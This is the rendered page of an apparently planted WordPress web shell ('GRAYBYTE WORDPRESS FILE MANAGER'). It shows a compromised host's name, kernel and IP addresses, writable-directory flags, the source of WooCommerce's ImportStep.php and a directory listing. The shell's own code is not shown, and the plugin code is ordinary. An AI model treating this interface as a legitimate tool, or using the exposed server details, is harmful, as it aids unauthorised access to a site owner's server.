✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.105
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/packages/blueprint/src//ImportStep.php
<?php

namespace Automattic\WooCommerce\Blueprint;

use Opis\JsonSchema\Errors\ErrorFormatter;
use Opis\JsonSchema\Validator;
use Automattic\WooCommerce\Blueprint\Logger;

/**
 * Class ImportStep
 *
 * Import a single step from a JSON definition.
 *
 * @package Automattic\WooCommerce\Blueprint
 */
class ImportStep {
	use UseWPFunctions;

	/**
	 * Step definition.
	 *
	 * @var object The step definition.
	 */
	private object $step_definition;

	/**
	 * Validator object.
	 *
	 * @var Validator The JSON schema validator instance.
	 */
	private Validator $validator;

	/**
	 * Built-in step processors.
	 *
	 * @var BuiltInStepProcessors The built-in step processors instance.
	 */
	private BuiltInStepProcessors $builtin_step_processors;

	/**
	 * Importers.
	 *
	 * @var array|mixed The importers.
	 */
	private array $importers;

	/**
	 * Indexed importers.
	 *
	 * @var array The indexed importers by step name.
	 */
	private array $indexed_importers;


	/**
	 * ImportStep constructor.
	 *
	 * @param object         $step_definition The step definition.
	 * @param Validator|null $validator The validator instance, optional.
	 */
	public function __construct( $step_definition, ?Validator $validator = null ) {
		$this->step_definition = $step_definition;
		if ( null === $validator ) {
			$validator = new Validator();
		}
		$this->validator         = $validator;
		$this->importers         = $this->wp_apply_filters( 'wooblueprint_importers', ( ( new BuiltInStepProcessors() )->get_all() ) );
		$this->indexed_importers = Util::index_array(
			$this->importers,
			function ( $key, $importer ) {
				return $importer->get_step_class()::get_step_name();
			}
		);
	}

	/**
	 * Import the schema steps.
	 *
	 * @return StepProcessorResult
	 */
	public function import() {
		$result = StepProcessorResult::success( $this->step_definition->step );

		if ( ! $this->can_import( $result ) ) {
			return $result;
		}

		$importer = $this->indexed_importers[ $this->step_definition->step ];
		$logger   = new Logger();
		$logger->start_import( $this->step_definition->step, get_class( $importer ) );

		$importer_result = $importer->process( $this->step_definition );

		if ( $importer_result->is_success() ) {
			$logger->complete_import( $this->step_definition->step, $importer_result );
		} else {
			$logger->import_step_failed( $this->step_definition->step, $importer_result );
		}

		$result->merge_messages( $importer_result );

		return $result;
	}

	/**
	 * Check if the step can be imported.
	 *
	 * @param StepProcessorResult $result The result object to add messages to.
	 *
	 * @return bool True if the step can be imported, false otherwise.
	 */
	protected function can_import( &$result ) {
		// Check if the importer exists.
		if ( ! isset( $this->indexed_importers[ $this->step_definition->step ] ) ) {
			$result->add_error( 'Unable to find an importer' );
			return false;
		}

		$importer = $this->indexed_importers[ $this->step_definition->step ];
		// Validate importer is a step processor before processing.
		if ( ! $importer instanceof StepProcessor ) {
			$result->add_error( 'Incorrect importer type' );
			return false;
		}

		// Validate steps schemas before processing.
		if ( ! $this->validate_step_schemas( $importer, $result ) ) {
			$result->add_error( 'Schema validation failed for step' );
			return false;
		}

		// Validate step capabilities before processing.
		if ( ! $importer->check_step_capabilities( $this->step_definition ) ) {
			$result->add_error( 'User does not have the required capabilities to run step' );
			return false;
		}

		return true;
	}

	/**
	 * Validate the step schemas.
	 *
	 * @param StepProcessor       $importer The importer.
	 * @param StepProcessorResult $result The result object to add messages to.
	 *
	 * @return bool True if the step schemas are valid, false otherwise.
	 */
	protected function validate_step_schemas( StepProcessor $importer, StepProcessorResult $result ) {
		$step_schema = call_user_func( array( $importer->get_step_class(), 'get_schema' ) );

		$validate = $this->validator->validate( $this->step_definition, wp_json_encode( $step_schema ) );

		if ( ! $validate->isValid() ) {
			$result->add_error( "Schema validation failed for step {$this->step_definition->step}" );
			$errors           = ( new ErrorFormatter() )->format( $validate->error() );
			$formatted_errors = array();
			foreach ( $errors as $value ) {
				$formatted_errors[] = implode( "\n", $value );
			}

			$result->add_error( implode( "\n", $formatted_errors ) );

			return false;
		}
		return true;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Cli
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Exporters
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Importers
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
ResourceStorages
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
ResultFormatters
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Schemas
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Steps
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
docs
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
BuiltInExporters.php
0.463 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
BuiltInStepProcessors.php
1.809 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
ClassExtractor.php
6.055 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
Cli.php
1.78 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
ExportSchema.php
4.301 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
ImportSchema.php
2.337 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
ImportStep.php
4.465 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
Logger.php
4.066 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
ResourceStorages.php
1.452 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
StepProcessor.php
0.664 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
StepProcessorResult.php
3.563 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
UsePluginHelpers.php
3.127 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
UsePubSub.php
1.509 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
UseWPFunctions.php
9.717 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
Util.php
4.386 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF